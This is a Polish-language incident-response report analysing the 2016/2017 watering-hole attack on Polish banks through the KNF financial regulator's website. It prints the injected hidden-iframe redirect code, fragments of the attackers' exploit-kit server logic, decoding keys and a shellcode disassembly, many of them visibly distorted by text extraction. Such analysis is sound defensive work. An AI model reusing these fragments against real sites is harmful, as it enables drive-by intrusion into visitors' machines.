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RAPORT

ANALIZA ATAKU NA BANKI W POLSCE

W niniejszym dokumencie inzynierowie firmy Prevenity opisali poszczegélne fazy ataku, ktéry miat
miejsce na przetomie roku 2016/2017. Opisano tez wykorzystywane przez intruzéw techniki
i narzedzia. Przedstawione zostaly metody wykrywania $§ladow wlamania pozostawione przez
atakujacych. Raport zawiera ogélne rekomendacje, ktére w przyszto$ci mogg zapobiec lub ograniczy¢
rozmiar podobnych incydentéw zwigzanych z bezpieczenstwem teleinformatycznym.

Warszawa, 14 kwietnia 2017 r.
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METODA
WODOPOJU

(ang. waterhole attack)

W opisywanym ataku
metoda ta polegata na
zaatakowaniu serwera
informacyjnego Komisji
Nadzoru Finansowego.
W Polsce dla wielu
instytucji strona KNF
jest codziennym
Zrédtem informacji.
Intruzi za pomoca
jednej linii kodu
utworzonego za
pomoca jezyka HTML
przekierowywali cze$¢
zapytan ze strony KNF
na serwery atakujace.
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WSTEP

Niniejszy dokument opisuje scenariusz ataku na banki w Polsce, zrealizowany na przetomie 2016 i 2017 roku. Celem
tego opracowania jest przedstawienie metod dziatania intruzéw oraz wskazanie, jak ataki tego typu moga by¢
wykrywane przez zespoty bezpieczenstwa (niekoniecznie instytucji finansowych).

Szerszy kontekst tego ataku w raporcie ,Lazarus Under The Hood” opisata firma Kaspersky Lab, wskazujac, ze atak
na banki w Polsce byt cze$cig wiekszej kampanii oraz wskazujac cel. ROwniez firma Symantec oraz BEA Systems, we
wtasnych opracowaniach wskazywaty, ze atak dotyczyt nie tylko bankéw w Polsce oraz ze niektére §lady zwigzane s3
z grupg Lazarus z Korei P6tnocnej. Grupg, ktéra znana jest miedzy innymi z ataku na bank w Bangladeszu.

W Polsce atak rozpoczat sie w pazdzierniku 2016 roku od uzyskania nieuprawnionego dostepu do serwera

. Komisja Nadzoru Finansowego publikuje informacje wykorzystywane na co dzien przez instytucje
finansowe w Polsce. Intruzi, zamiast atakowac poszczegdlne banki, znalezli i wykorzystali podatno$¢ bezpieczenistwa
na serwerze WWW urzedu KNF, z ktoérego banki korzystaja. Taki scenariusz ataku nosi nazwe metody wodopoju (ang.
watering hole). Jedyna funkcja umieszczonego kodu HTML na serwerze KNF byto przekierowywanie odwiedzajacych
na inne serwery, kontrolowane przez intruzéw. Serwery te zostaly przejete wcze$niej przez intruzow
z wykorzystaniem podatnosci bezpieczenstwa w aplikacji JBOSS.

W kolejnym kroku intruzi sprawdzali zrédiowe adresy IP komputeréw przekierowywanych z serwera
i jesli znajdowaly sie w przedziale interesujacych adreséw IP, probowali uzyskiwa¢ do nich
nieuprawniony dostep.

Zespo6t Prevenity obstuge incydentéw dla jednego z bankéw rozpoczat pod koniec stycznia 2017 roku. Analiza stacji
roboczych pozwolila na szybka identyfikacje serwera KNF jako zrédia infekcji. W rezultacie tych dziatan zostat
uruchomiony proces odtaczenia serwera KNF od sieci Internet i ostatecznie 2 lutego 2017 roku serwer ten zostat
odtgczony.

Niniejszy raport powstat na podstawie danych zebranych podczas obstugi incydentdw z dwéch instytucji finansowych
w Polsce. Opisane wyniki pochodza z analiz dyskéw twardych kilkudziesieciu stacji roboczych i serweréw oraz analiz
dziennikéw zdarzen pochodzacych z systeméw bezpieczenstwa i urzadzen sieciowych.

Oprécz raportu Kaspersky Labs (Incident #2 dotyczy kolejnego banku) zachecamy réwniez do zapoznania sie
z publikacjami dostepnymi na portalu ZaufanaTrzeciaStrona ( ), ktéry jako pierwszy ujawnit
informacje o atakach 3 lutego 2017 roku.

Dziekujemy instytucjom, ktére wyrazity zgode na publikacje niniejszego raportu oraz osobom z kilku innych bankéw,
ktére przekazaty nam informacje o skutkach ataku w ich organizacjach.



http://www.knf.gov.pl/
http://www.knf.gov.pl/
http://www.z3s.pl/?s=KNF

FAZY ATAKU

Opisywany atak mozna podzieli¢ na trzy gtéwne fazy. Sa to:

1. Infekcja
2. Rekonesans oraz Eskalacja uprawnien
3. Utrzymanie dostepu

Nie s3 to wszystkie elementy opisywanego ataku, ale mamy nadzieje, Ze ten uproszczony podziat pozwoli na lepsze
zrozumienie dziatan intruzéw szerszej grupie czytelnikéw.

Infekcja

Przeprowadzone analizy zainfekowanych stacji roboczych pozwalajg na stwierdzenie, ze atak rozpoczat sie 4
pazdziernika 2016 roku. Wtedy zostaty zarejestrowane pierwsze przekierowania za pomoca IFRAME z serwera

na serwer - zawierajacy ztosliwy kod. W p6zniejszym okresie strona KNF
przekierowywata na drugi serwer, sap.misapor.ch.

o www.eye-watch.in - przekierowania od 4 pazdziernika 2016 roku,
e sap.misapor.ch - przekierowania od 19 grudnia 2016 roku.

Domena www.eye-watch.in jest rozwigzywana na 19 adreséw IP z czego 9 dostepnych byto w réznych okresach

od 4 pazdziernika do dnia wykrycia przez nas serwera infekujacego (www.knf.gov.pl) - 30 stycznia 2017 roku.
Domena sap.misapor.ch jest rozwigzywana na 1 adres IP - strona dostepna od grudnia 2016 roku. Wyzej wspomniane
adresy IP to: 54.225.70.157, 23.21.210.165, 23.23.104.162, 54.243.127.255, 23.21.194.68, 54.204.17.89,
54.243.79.224,54.221.226.150, 54.235.128.97, 109.164.247.169.

Przegladarki WWW uzytkownikéw odwiedzajacych gtéwna strone WWW pobieraty jeden ze
skryptéw napisanych w jezyku Javascript. W nim, na koncu, doklejony byt fragment kodu ktérego ostatecznym celem
byto pobranie danych (narzedzi exploit) z serwera zewnetrznego www.eye-watch.in lub sap.misapor.ch.

Ponizej znajduje sie fragment pliku accordian-src.js, ktdry byt umieszczony na stronie (URL:
https://www.knf.gov.pl/DefaultDesign/Layouts/KNF2013 /resources/accordian-src.js?ver=11)

Fragment zawarto$ci IFRAME - przekierowujgacego na serwer www.eye-watch.in:
document.write("<div id='fgHpTk' width="@px' height="0px'><iframe name='forma' src="https://www.eye-

watch.in/design/fancybox/images.jsp?pagenum=1' width="'145px"' height="146px"' style='left:-
2144px;position:absolute;top:0px; ' ></iframe></div>");

Fragment zawarto$ci IFRAME - przekierowujacego na serwer sap.misapor.ch:

document.write("<div id='efHpTk' width="@px"' height="0px'><iframe name='forma'
src="https://sap.misapor.ch/vishop/view.jsp?pagenum=1' width="'145px"' height="'146px"' style='left:-
2144px;position:absolute;top:0px; '></iframe></div>");

Serwery infekujace weryfikowaty Zrédtowy adres IP, z ktérego nawigzywane byto potaczenie. Oznacza to, ze celem
ataku nie byly wszystkie komputery odwiedzajace strone ale tylko te, ktore nalezaty do okreslonych
podmiotéw okre$lonych przez intruzéw jako cel ataku. Swiadczy o tym analiza logéw pochodzacych z przejetych
serwerdw infekujacych (http://baesystemsai.blogspot.com/2017/02 /lazarus-watering-hole-attacks.html). Taki
scenariusz ataku nazywany jest technika watering hole ( ).

Strony www.eye-watch.in oraz sap.misapor.ch uruchomione byty na serwerach JBOSS (przejetych przez intruza za
pomoca btedu bezpieczenstwa w oprogramowaniu JBOSS). Serwery te zawieraty aplikacie WWW w postaci plikdw
WAR. Pierwsza z aplikacji byta wykorzystywana do:

sprawdzenia zZrédlowego adresu IP,

weryfikacji wersji i typu systemu operacyjnego,

weryfikacji wersji i typu przegladarki WWW,

weryfikacji wersji innych aplikacji/wtyczek w systemie (flash, java, silverlight, office, adobe),
weryfikacji obecno$ci oprogramowania EMET,

przygotowania i dostarczenia narzedzi typu exploit,

przestaniu i uruchomieniu pierwszego pliku wykonywalnego.



http://www.knf.gov.pl/
http://www.eye-watch.in/
http://www.knf.gov.pl/
http://www.knf.gov.pl/
http://www.knf.gov.pl/
https://en.wikipedia.org/wiki/Watering_hole_attack

Przyktad pierwszego zapytania GET przesytanego z komputera ofiary:
https://www.eye-watch.in/design/fancybox/view.jsp?pagenum=1

Warto$¢ parametru pagenum okreslata faze procesu infekgji.

Faza | - PAGENUM =1

Ponizej przedstawiony zostatl fragment kodu, ktéry obstuguje to zapytanie (pagenum=1). Wywotana byta funkcja
sprawdzajaca czy zrodtowy adres IP nie jest na licie blokowanych adreséw IP - celem byto okreslenie czy Zrodtowy
adres IP jest w domenie banku lub innej instytucji ktéra mogta by¢ zaatakowana.

if (pagenum.equals("1"))

if ( block_ip(str_ip) == true )
{
log write(log filename, log line + "\r\n");
return;

}

Nastepnie budowana jest strona zwracana do przegladarki uzytkownika. Zwracana strona zawiera skrypty i funkcje,
ktorych celem jest weryfikacja zainstalowanych wersji aplikacji i wtyczek przegladarki WWW na atakowanej stacji
roboczej. Uruchomiony skrypt buduje formularz, ktéry przesyta za pomoca metody POST zadanie HTTP do serwera
intruza z warto$cia pagenum=2.

var my_form=document.createElement('FORM");

my_form.setAttribute("name", "myForm");

my_form.setAttribute("method", "POST");

my_form.setAttribute("action", '<¥%=
request.getRequestURI().substring(request.getRequestURI().lastIndex0f("/") + 1) %>');

var args = new Array/(
['<%= PARAMNAME_PAGENUM %>', '2'],
['<%= PARAMNAME_REFERER %>', Base64.encode('<%= referer %>>')],
['<%= PARAMNAME_OS %>', Base64.encode(get0S())],
['<%= PARAMNAME_LANG %>', getLanguage()],
[ <%= PARAMNAME_BROWSERTYPE %>', browser[0] ],
['<%= PARAMNAME_BROWSERVER %>', browser[1]],
['<%= PARAMNAME_JAVAVER %>', plugin[e]],
['<%= PARAMNAME_FLASHVER %>', plugin[1]],
['<%= PARAMNAME_ADOBEREADERVER %>', plugin[2]],
['<%= PARAMNAME_WMPVER %>', plugin[3]],
['<%= PARAMNAME_SIVERLIGHT %>', plugin[4]],
['<%= PARAMNAME_OFFICEVER %>', plugin[5]],
['<%= PARAMNAME_SCRIPTVER %>', plugin[6]],
['<%= PARAMNAME_EMETFLAG %>', emet_flag],
['<%= PARAMNAME_UID %>', <%= uid %>]
)s

my_form.submit();

Jednym z ciekawszych sprawdzen jest funkcja wykrywajaca aplikacje EMET. Na komputerach na ktérych
zainstalowany byt EMET atak byl blokowany przez to narzedzie.




function emet(txt)

{
var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
xmlDoc.async = true;
xmlDoc.loadXML (txt);
if(xmlDoc.parseError.errorCode == -2147023083)
return 1;
else return 0;
}

Wywotanie funkcji emet:
if( PluginDetect.isIE )

emet_flag = emet("<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN'
'res://C:\\windows\\AppPatch\\EMET.DLL"'>");

Faza Il - PAGENUM =2

Po odczytaniu niezbednych danych (listy i wersji zainstalowanych komponentéw), na serwerze budowany jest
odpowiedni exploit, ktéry jest przesytany do stacji roboczej. Ponizej przedstawiony zostat fragment kodu, w ktérym
znajdujg sie opisy podatno$ci wykorzystywanych przez intruzéw w tym ataku. Jest tez odwotanie do plikow
zawierajacych exploity (include/cambio.xap i include/cambio.swf).

Nazwa Suma MD5
pliku
cambio.swf 1F2CD85583A4A56B764BA6429C2155EC

cambio.xap 4CC10AB3F4EE6769E520694A10F611D5

Pliki cambio.swfi cambio.xap sa budowane i dotgczane do zwracanej przegladarce strony WWW za pomoca
nastepujacych funkcji:

e genExp_20160034 - generowanie exploit dla Silverlight,
e genExp 00000001 - generowanie exploit-6w dla Adobe Flash.

ArraylList<HashMap<String,String>> exploits = new Arraylist<HashMap<String,String>>();

HashMap<String,String> exploit_20160034 =
HashMap<String,String> exploit_@88088884 =

new HashMap<String,String>();
new HashMap<String,String>();

exploit_ 20160034

exploit_ 28160834

.put("cve", "2016-0834");
exploit_208160834.
exploit_208160834.
exploit_ 20160834 .
exploit_ 201600834 .

put("plugin","silverlight");

put("eid" , "@0000001");

put("xapfile", "include/cambio.xap");
put("genExploitCode"”, "genExp_20160034");

.put("bUse", exp_flags.get(exploit_20160034.get("cve")));

if (exploit_20160034.get("bUse") == null)
exploit_20160034.put("bUse", "@");

exploit_oeoeeasd
exploit_popepoand

exploit_oeoeeasd

.put("cve", "0000-0001");
.put("plugin”,
exploit_oeoeeass .

"flash");
put("eid", "00008002");

put("swffile", "include/cambio.swf");
exploit_foeeesed.
exploit_ooeeesed.

put("genExploitCode"”, "genExp_90000001");
put("bUse", exp_flags.get(exploit_00000004.get("cve")));

if (exploit_eeeeeeed.get("bUse") == null)
exploit_00000004.put("blUse", "@");

exploits.add(exploit_20160034);
exploits.add(exploit_coeeeaed);




Sposéb generowania oraz zawarto$¢ plikow cambio zostat przedstawiony w dalszej cze$ci dokumentu.

Ponizej znajduje sie przyktad ilustrujacy, jak budowany jest adres URL z pagenum = 3 (kolejna faza infekcji). Ten URL
jest dodawany przez jedna z w/w funkcji do shellcode.

download_url = request.getRequestURL() + "?" + PARAMNAME_UID + "=" + uid + "&" + PARAMNAME_PAGENUM +
"=3" +"&" + PARAMNAME_EXPLOITID + "=" + exploit.get("eid");

if(exploit.get("cve") == "2016-0034")

{

if(silver_ver.length <= 1)
continue;

download_url = download_url + "&" + PARAMNAME_STATUS + "=2" +
"&" + PARAMNAME_DATA + "=";

exp_code = genExp_20160034(Integer.parselnt(browser_type), Integer.parselnt(silver_ver[0]),
Integer.parseInt(silver_ver[1]), Integer.parseInt(silver_ver[2]), download_url, exploit);

Intruzi wykorzystywali podatno$ci bezpieczenstwa w nastepujgcych aplikacjach:

e  Microsoft Sliverlight
e Adobe Flash

Podatnosci wykorzystywane w niniejszym ataku to:

Aplikacja Podatnos¢ wg CVE Data poprawki

Microsoft Sliverlight CVE-2016-0034 Styczen 2016

Adobe Flash CVE-2015-8651 Grudzien 2015
CVE-2016-1019 Kwiecien 2016
CVE-2016-4117 Czerwiec 2016

Nalezy dodac, ze te same pliki z podatno$ciami byty wykorzystywane przez exploit kit-y takie jak Neutrino Exploit Kit
czy RIG Exploit Kit.

FAZA Il = PAGENUM =3

Gdy wykonany zostanie kod exploit’a, a nastepnie payload w ktérym znajduje sie adres URL to do serwera, przesytane
jest kolejne zgdanie HTTP. Wtedy PAGENUM ma wartos$¢ = 3 a status = 2. Ponizej fragment payload z adresu URL na
koncu ciggu znakéw ASCII:

Serwer przesyta do stacji roboczej plik wykonywalny, ktéry zapisywany jest jako svchost.exe. Ponizej fragment kodu
obstugujacego zapytanie GET z payload.




if (status.equals("2"))
{

con_path = path + MARK_ICO;

bin_path = path + DROP_ICO;

download_url = request.getRequestURL() +
"?" + PARAMNAME_UID + "=" + uid +

"&" + PARAMNAME_PAGENUM + "=3" +

"&" + PARAMNAME_STATUS + "=3";

else if (status.equals("3"))

{
icon_path = path + MARK_ICO;
bin_path = path + MEML_ICO;
}

Zanim opiszemy, co dalej dziato sie z plikiem svchost.exe, przyjrzyjmy sie wykorzystanym exploit’om.

Budowa exploit-ow — szczegotowe informacje

Zgodnie z tym, co napisaliSmy wczesniej, dwie funkcje po stronie aplikacji WAR odpowiadajg za przygotowanie
exploit’éw przesytanych do stacji roboczych. S3 to:

e genExp 20160034 - generowanie exploit dla Microsoft Silverlight,
e genExp_00000001 - generowanie exploit-6w dla Adobe Flash.

Ponizej przedstawiony zostal fragment jednej z funkcji budujacej odpowiedz do stacji roboczej dla podatnosci w
Adobe Flash Player:

exp_code = String.format( "%s%s¥%skskhsksksksks", Base64Decode(expcodel),

exploit.get("swffile"),

Base64Decode(expcode?2),

shell code,

Base64Decode(expcode3),

exploit.get("swffile"),

Base64Decode(expcode4),

shell code,

Base64Decode (expcode5));

return generate_obcode(exp_code);

Zawarto$¢ poszczegdlnych parametréw:

String expcodel =

"PGhObWw+DQo8YmOkeTANCjxvYmplY3QgY2xhc3NpZDOiY2xzaWQ6ZDI3Y2RiNmUtYWU2ZCOXMWNmMLTk2YjgtNDQONTUZNTQWMDAW
IiBjb2R1YmFzZT@iaHROcDovL2Rvd25sb2FkLm1hY3JvbWVkaWEuY29tL3B1Yi9zaG9ja3dhdmUvY2Ficy9mbGFzaC9zd2ZsYXNoL

mNhYiIgd21kdGg9IjEiIGhlaWdodD@iMSIglLz4NCjxwYXIhbSBUYW11PSJItb3ZpZSIgdmFsdWu9Ig==";
String expcode2 =

"IiAvPgOKPHBhcmFtIG5hbWU9ImFsbG93U2NyaXBOQWNJZXNzIiB2YWx1ZTOiYWx3YX1zIiAvPgOKPHBhcmFtIG5hbWU9IkZsYXNo

VmFycyIgdmFsdWU9Ig==";
String expcode3 =

"IiAvPgOKPHBhcmFtIG5hbWU9I1BsYXkiIHZhbHV1PSJ0OcnV1IiAvPgOKPGVtYmVKIHR5cGUIIMFwcGxpY2F@aWouL3gtc2hvy2t3

YXZ1LWZsYXNoIiB3aWR@aDOiMSIgaGVpZ2hOPSIxIiBzcmM9Ig==";
String expcode4 = "IiBhbGxvd1NjcmlwdEFjY2Vzcz@iYWx3YX1zIiBGbGFzaFZhcnM9Ig==";
String expcode5 = "IiBQbGF5PSJOcnV1Ii8+DQo8L29iamVjdDANCjwvYmOkeTANCjwvaHRtbD4=";

Po odkodowaniu jest to szablon do uruchomienia exploit’a cambio.swf:

<html>
<body>




<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1"
/>

<param name="movie" value="

" /s

<param name="allowScriptAccess" value="always" />

<param name="FlashVars" value="

" /s

<param name="Play" value="true" />

<embed type="application/x-shockwave-flash" width="1" height="1" src="
" allowScriptAccess="always" FlashVars="

Play="true"/>

</object>

</body>

</html>

W URL przekazywany jest tez parametr Health ktérego wartos¢ to klucz uzywany do odkodowania fragmentu
exploit’a.

return "shell=" + shell code + "&Health=" + key;
Gdzie wartos¢ key to:

String key = "polki89jdm#ks@";

Wstepna analiza wykorzystanych exploit-ow

e Silverlight - Plik Cambio.xap (MD5: 4CC10AB3F4EEG6769E520694A10F611D5)

Exploit znajduje sie w aplikacji .NET. Najwazniejsza funkcjg w pliku wykonywalnym cambio.xap jest MainPage(). Na
poczatku odkodowywany jest ciag znakow ‘binaryreader.Exploit’. Jest to nazwa biblioteki i funkcji ktora bedzie
wywotywana z odkodowanego zasobu. Nastepnie wczytywany jest ten zaséb i odkodowywany réwniez za pomoca
XOR. Ponizej przedstawiony zostat fragment tej funkgji:

byte[] array = new byte[Resourcel._1.Length];
Buffer.BlockCopy(Resourcel. 1, 54, array, 0, 30720);

try
{
for (int 1 = @; i < array.Length; i++)
{
byte b = 56;
array[i] ~= b;
}
AssemblyPart assemblyPart = new AssemblyPart();
Stream stream = new MemoryStream(array);
return assemblyPart.Load(stream);
}

Po odkodowaniu otrzymujemy nowy plik w formacie PE.
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Size: 30720
MD5: 7B4A8BE258ECB191C4C519D7C486EDSA
Compiled: Pn, mar 28 2016, 20:23:49 - 32 Bit .NET DLL

Funkcja nowego pliku - run jest wywotywana za pomoca InvokeMember ().

type.InvokeMember("run", 256, null, obj, new object[]

{
args.get_InitParams()
})s

W pliku znajduje sie exploit dla 32- oraz 64-bitowej wersji systemu operacyjnego, opisany pod CVE-2016-0034.

e Flash — Plik cambio.swf (MD5: 1F2CD85583A4A56B764BA6429C2155EC)

Ponizszy fragment znaleziony w odkodowanych skryptach moze wskazywac, ze jest to konfiguracja Neutrino Exploit
Kit lub RIG Exploit Kit.

var _loc9_:String =

"\N"1ink\" :{\"pnw8\" : \"%TEMP%\", \"pnw22\" : \"%BTEMP%\", \"pnw23\" : \"%TEMP%\ ", \"pnw24\" : \"%TEMP%\ ", \ " pnw2
S\" s \"%TEMP%\", \"sPing\":\"\", \"£1Ping\":\"\", \"bot\" :\"\", \"backUr1\":\"\"}, \"exploit\": {\"nw8\" : {\
"enabled\":true},\"nw22\":{\"enabled\" :true}, \"nw23\":{\"enabled\" :true}, \"nw24\": {\"enabled\" : true},
\"nw25\":{\"enabled\":true}}, \"key\":{\"payload\":\"bghgrdazxe\"}, \"debug\":{\"flash\":true}, \"marker
\":\"rtConfig\"";

Skrypt String_Com zawiera informacje, ktére pozwolily nam na odkodowanie wtasciwego pliku (podobnie jak w
przypadku Silverlight - jest to zasob).

var _loc6_:String = _var_33["Health"] as String;

Zawartos$¢ Health jest przekazywana jako parametr z infekujacej strony. Oznacza to ze bez wartosci tego parametru
nie mozemy odszyfrowac¢ wlasciwego exploit’a. _locl_ zawiera obiekt binarny, ktéry jest dotaczony do pliku swf.
Fragment funkcji dekodujacej wiasciwy exploit:

var _locl_:ByteArray = new orinBin() as ByteArray;

_loc3_ = o;

while(_loc3_ < _locl_.length)

{
_locl [ loc3_] = _locl_[_loc3_] ~ _loc6_.charCodeAt(_loc3_ % _loc6_.length);
_loc3_++;

}

_locl_.position = 85240;

Ponizej przedstawiony zostal fragment odkodowanego pliku binarnego FLASH:

Offset a1 2 3 4 5 & 7 g8 9 10 11 12 13 14 15
o] 6 57 53 20 EF 83 01 00 €8 00 1F 18 00 05 78 00 FWS d4 h X
1s 00 18 01 00 44 11 15 00 00 00 41 13 00 43 02 CC ] L CE
32 EE 62 44 10 E8 03 3C 00 BF 14 79 86 00 00 01 00| ibD & « Z yt
48 00 00 &0 &5 72 &7 &5 64 00 10 00 Z2E 00 31 01 R4 merged .'E
64 |A7 16 CE BO 2E 21 E1 21 B9 D7 14 ED 88 28 B6 FC § 1°. &lgx i[ 98

2 B
82 3 AC D2 15 82 CA 20D D2 D4 20 C1 BC 22 A&,:-R ,F-NG-AL=
96 A0 91 25 EE 93 05 B2 F9 02 EF 80 19 A0 CD 2F A1 | ‘3i* & de& 1/~
AR A1 37 EL EAR 1F EC 91 39 81 8D 21 DF D2 | 2 5" 7ie &'3 A0

7 E3 OD 94 DD 12 B5 B3 39 96 A7 2B B9 8F 1D ;& "% nio-§+€
144 |80 F8 2C D1 AF 28 E4 B5 1C DE SE 24 8h F9 0B C3 | #,NZ(ap TZs34 A
LB RR 33 E5 B5 10 ES 99 17 93 FC OC BF B3 &-«5:1p & g za




Size: 99311

MD5: C3B84DF1D2503D8AEAO6CO54E3FD9072

Po dekompilacji musimy ponownie poddac¢ go deobfuskacji. W pliku jest kilka obiektéw binarnych oraz kilka funkc;ji z

ktdérych najwazniejsza to fgkvcyrewj().
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) naghowek
dane binarne
DefineBinaryData (1: v loynjriviz!)
DefineBinaryData (2: v ykopwairgzxm)
DefineBinaryData (3: v Ieletmgarihby)
DefineBinaryData (4. v yoemzhywyrin)
DefineBinaryData (&: v.Zlygydocsoa)
DefineBinaryData (B: v fogcorgmfa)
H Katki
inne
skrypty
e

= v
> fgocorgmfa
> |eletrmggribbey
> loynjrivizl
> | yROpWWIG T
> yoemzhwyrin
> Zlyoydgosoo

> fokvoyrew

—> | patnwpkpizusz

Obiekty binarne sa zakodowane. Funkcja s() odpowiada za ich odkodowanie. Jest to algorytm RC4. Pierwszy parametr

to klucz (umieszczony w obiekcie 2_v.ykopvwrqzxw), a drugi to zakodowane dane.

Klucz ma warto$¢:

1B1520FF5D8816A85F02E4B6307D91AA90CA01BO77C534E5664C6C69986D55B38275B2EQFDCO895DCB6D14FCEAAB6A77B

Po odkodowaniu otrzymujemy ciagi znakéw ktére zapisywane sg w tablicy g:

addChild%COMPLETE %addEventListener%flash.display.Loader%stage%removeEventListener%ADDED_TO_STAGE%loa

dBytes%contentLoaderInfo

W ten sam spos6b odkodowywany jest kolejny plik SWF:

_loc33_.writeBytes(new leletmggrlhbv() as ByteArray);
_loc33_.writeBytes(new fggcorgmfa() as ByteArray);
_loc33_ = this.s(_loc39_, loc33);

File: s2.dat
Size: 54131
MD5 : 07011F7AD8F57858BD2AC86A7DF6DD11

Ponizej pokazana jest jego zawartos¢:
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s2.dat
SF 1)
2] nagtewek
= dane binarne
DefineBinaryData
DefineBinaryData

(1 nw22_swi_rcd$341acfBadBe7ef2chedsch74750c202b-394312611)

(
DefineBinaryData (

{

(

(

1

2 rw23_swi_rcd$ff0DBEEM4 ch2db0afBodbffal 106 1f20837056592)

3 w24 _swi_rc4$34d07e848021893d1af360bf0e 164debc- 1862901 163)
4 rw2f_htrnl_rcd$fB5e33479a2fTh21f344d72f5ef3a11a-781648651)

8. res_js_rcd$9d60eaBod2oddafde749de 7 143478031357 71611)

B: rwB_htrl_rc4$839751a392881f1ce088a727h 1bchB75-2109608752)

DefineBinaryData
DefineBinaryData
DefineBinaryData
-H Katki
B[ inne
-1 skrypty

§8

§78

§§
* | §%§
> §rw22_swf rcd$341acfBadBeTeflehedacB7475002020-394312611§
» nw23_swi_rcd$f09886M4ch2db0afBedbif7al1061f2083705692
> | §rw2d_swf_red$34d07e848021593d1af9Bbf9e 164desc-1862901165§
> | §rw25_htrnl_rcd$fB5e33479a2fTh2 1134407 2f5ef9a112- 7816486518
> §rwB_htrnl_rc4$839751a392981f1ce088a727b1bch875-2 10960875925
> res_js_rc4$9dB0eabed2edbafde749de7 143478031357 71611

T
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Po dekompilacji otrzymujemy 6 kolejnych plikéw. Sa to pliki binarne i skrypty wywotujace je:

o  Nw2Z_swf - exploit,

o  Nw23_swf - exploit,

Nw24_swf - exploit,

Ns24_html - strona html dostepna z lokalnego serwera http://localhost,
Res_js - javascript,

Ns8_html - strona html dostepna z lokalnego serwera http://localhost.

Skrypty odwotujace sie po localhost sg istotne, gdyz pozwalajg na ominiecie mechanizmu Protected Mode w systemie

Internet Explorer. Nie we wszystkich dostepnych exploit-ach ta metoda byta zaimplementowana.

Plik s2.dat zaciemniony zostat narzedziem DoSWF. Podobnie jak w poprzednim pliku, obiekty binarne sg
zaszyfrowane. Po odszyfrowaniu czes$¢ z nich nalezy rozpakowac. Ponizej przedstawiony zostal fragment funkcji
deszyfrujgco-rozpakowujgcej:

this.§4§ = "hvxgiep857520";

var _loc5_ :ByteArray = new §6§() as ByteArray;
_loc5_ = §'§.8decryptRC4§(_loc5_,this.§48);
_loc5_.uncompress("deflate");

Obiekty SWF nie sa kompresowane. Ponizej funkcje skrétow tych obiektow:

File: nw22.dat

Size: 8318

MD5 : 73D23846DC3FF7445F8DE9925565996B
File: nw23.dat

Size: 9954

MD5: 325B5C3B7C68DB8897796595AAC646F7
File: nw24.dat

Size: 16996

MD5 : 9ADB18E8CBD9ABA4CEBD1CCD4F2AE66E6

Informacje o podatno$ciach wykorzystywanych przez te pliki:

e NW22.dat- CVE-2015-8651,
e NW23.dat- CVE-2016-1019,
e NW24.dat- CVE-2016-4117.
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Jesli ktos z czytelnikow jest zainteresowany dalszg analizg odszyfrowanych plikéw z exploit’ami polecamy zapoznaé

sie z tym dokumentem:

Analiza shellcode

Zgodnie z tym, co napisaliSmy wczesniej, exploit w tym shellcode budowany jest dynamiczne. Fragmenty shellcode sa
zakodowane za pomoca funkcji XOR z kluczem 0x57. Na niektérych zainfekowanych stacjach roboczych mozna byto

znalez¢ shellcode w katalogu:

C:\Users\<username>\AppData\Roaming\Macromedia\Flash Player\#SharedObjects\<random>\www.eye-
watch.in\design\fancybox\include\cambio.swf\Exp_Data.sol.

BI0GIGAJECTASICANS TN

P STCRALS

Po deasemblacji, mozemy zauwazy¢ pierwszy ciag znakéw ‘notepad.exe’:

; Segment type:
seq0oo

Pure code

segment byte public "CODE' use32

assume cs:s5eq000

assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
push ebp

mov ebp, esp

sub esp, 38h

lea eax, [ebp-38h]

mov dword ptr [ebp-0Ch], 'eton’
push eax notepad.exe
mou dword ptr [ebp-8], ".dap’
mou dword ptr [ebp-4], "exe’
call sub_3F

lea eax, [ebp-38h]

push eax

call sub_D8

lea eax, [ebp-38h]

push eax

lea eax, [ebp-0Ch]

push eax

call sub_21D

add esp, 18h

leave

retn

Ponizej przedstawiony zostat fragment funkcji odpowiadajacej za znalezienie adresow funkcji. Wykorzystywana jest
metoda przeszukania struktury PEB (wiecej informacji mozna znaleZ¢ na naszym blogu

)
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https://github.com/nccgroup/Cyber-Defence/blob/master/Technical%20Notes/Neutrino-EK/Flash%20Exploit%20Kit%20technical%20note.pdf
https://github.com/nccgroup/Cyber-Defence/blob/master/Technical%20Notes/Neutrino-EK/Flash%20Exploit%20Kit%20technical%20note.pdf
http://malware.prevenity.com/2016_09_01_archive.html

5eq000:
seqOen:
seq000;
seqO00:
seg0e0:
5eq000:
seqOen:
5eq000:
seqOen:
5eq000;
seqOen:
seg0e0:
5eq000:
seq0en:
5eq000:
seqOen:
5eq000;
seqOen:
seg0e0:
5eq000:
seq000:
5eq000:
seqfEn:
5eq000:
seqOen:
seg0e0:
seqO00:
seqO00:
5eq000:
seqOen:
5eq000:
seqOen:
seq000;
seqO00:

9000
9000
9000
9600 :
0000
9000
9000:
9000
9000
9000:
9000
9000:
9600 :
0000
9000
9000
9000
9600 :
0000
9000
9000:
9000
9000
0000
9000
9000:
9600
0000
9000
9000
9000
9600 :
0000

0000003F
efeleleloloRie)
00000042
olelelelolo R
00000044
00000048
efeleleloloRT
0000004D
efelelelololy )
0000004F
[efelelelofolYe)
00000055
0000005A
0000005D
00000062
elelelelololoyg
0000006A
[efelelelolol Y]
0000006E
000E006B
0000006D
0000006D
00EEBOED
0000006D
0OEEBOED
0000006D
00PEBO6D
000OOOGE
0000006F
000e00T1
00000075
0OEEROTS
000000TE
0OEEROTC

00000CEB
olelolelelol e
olelolelelo]a g
000000F2
000000FY
00OO0OFT
oleloleleloTa)
0OOOOOFA
00000101
00000108
0000010F
0OEER116
0000011D
00000124
0000012B
00000132
00000139
006000140
00000147
000001HE
00000155
0000015C
00000163
0000016A
0OEEO1T1
oleloleleh I
0060001 T7F
00000186
0000018D
00000194
00000196
00000198
0000019B

sub_3F

sub_BD

push
mow
push
push
and
and
push
push
push
push
mow
call
moy
moy
call
mow
pop
Jmp
endp

ebp

ebp, esp

ecx

ecx

[ebptvar_4], ©

[ebptuar_8], 0O

ebx

esi

edi

ebx

ebx, 2TE®3ASDh ; LoadLibraryExl
sub_6D

[ebptuar_4], eax

ebx, BES53E06Fh ; GetProcessHeap
sub_6D

[ebptuar_8], eax

ebx |

short loc_CS

proc near ; CODE XREF: sub_3F+1sTp
; sub_3F+237p
cld
push ebp
xor eax, eax
moy eax, fs:[eaxt ]
moyv eax, [eax+0OCh]
